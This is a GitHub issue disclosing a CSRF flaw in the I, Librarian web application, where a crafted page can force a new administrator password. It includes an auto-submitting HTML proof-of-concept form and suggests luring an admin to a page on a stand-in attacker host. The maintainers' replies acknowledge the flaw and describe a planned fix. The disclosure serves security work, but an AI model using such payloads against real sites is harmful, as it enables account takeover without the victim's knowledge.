Skip to content
This repository has been archived by the owner on Jan 27, 2023. It is now read-only.

CSRF to force new password for administrator #121

Closed
xssssrf opened this issue Mar 15, 2018 · 5 comments
Closed

CSRF to force new password for administrator #121

xssssrf opened this issue Mar 15, 2018 · 5 comments
Assignees
Labels

Comments

@xssssrf
Copy link

xssssrf commented Mar 15, 2018

if (!empty($_GET['force_password']) && !empty($_GET['id']) && !empty($_GET['new_password'])) {

CSRF vulnerability is present here,
It will allow an attacker to force updates the password of the admin whose id is "1".

POC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/Librarian/users.php">
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="force&#95;password" value="Force&#32;Password" />
      <input type="hidden" name="new&#95;password" value="12345678" />
      <input type="submit" id="sub" />
    </form>
  </body>
  <script type="text/javascript">
    document.getElementById("sub").click();
  </script>
</html>
@mkucej
Copy link
Owner

mkucej commented Mar 15, 2018

Hmm, all those functions should only be accessible to super user. Thanks.

@mkucej mkucej self-assigned this Mar 15, 2018
@mkucej mkucej added the bug label Mar 15, 2018
@xssssrf
Copy link
Author

xssssrf commented Mar 15, 2018

Ofcourse.
If the attacker sends the http://evil.me/poc.html to the administrator and the administrator logs in to the library, the password will be forced to change without the administrator's knowledge.

@mkucej
Copy link
Owner

mkucej commented Mar 15, 2018

Sure. I, Librarian does not have any CSRF countermeasures. We are working on an entirely new version that has CSRF mitigation. I am afraid we will not be adding CSRF protection to I, Librarian 4.

@mkucej
Copy link
Owner

mkucej commented Mar 15, 2018

In general, I, Librarian code is pretty old. It started before PHP5 existed, and Internet was a friendlier place. We decided for a complete rewrite for the fifth generation.

@mkucej
Copy link
Owner

mkucej commented Oct 11, 2019

CSRF protections will be enabled by default for all POST requests in 5.0.0.

@mkucej mkucej closed this as completed Oct 11, 2019
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Projects
None yet
Development

No branches or pull requests

2 participants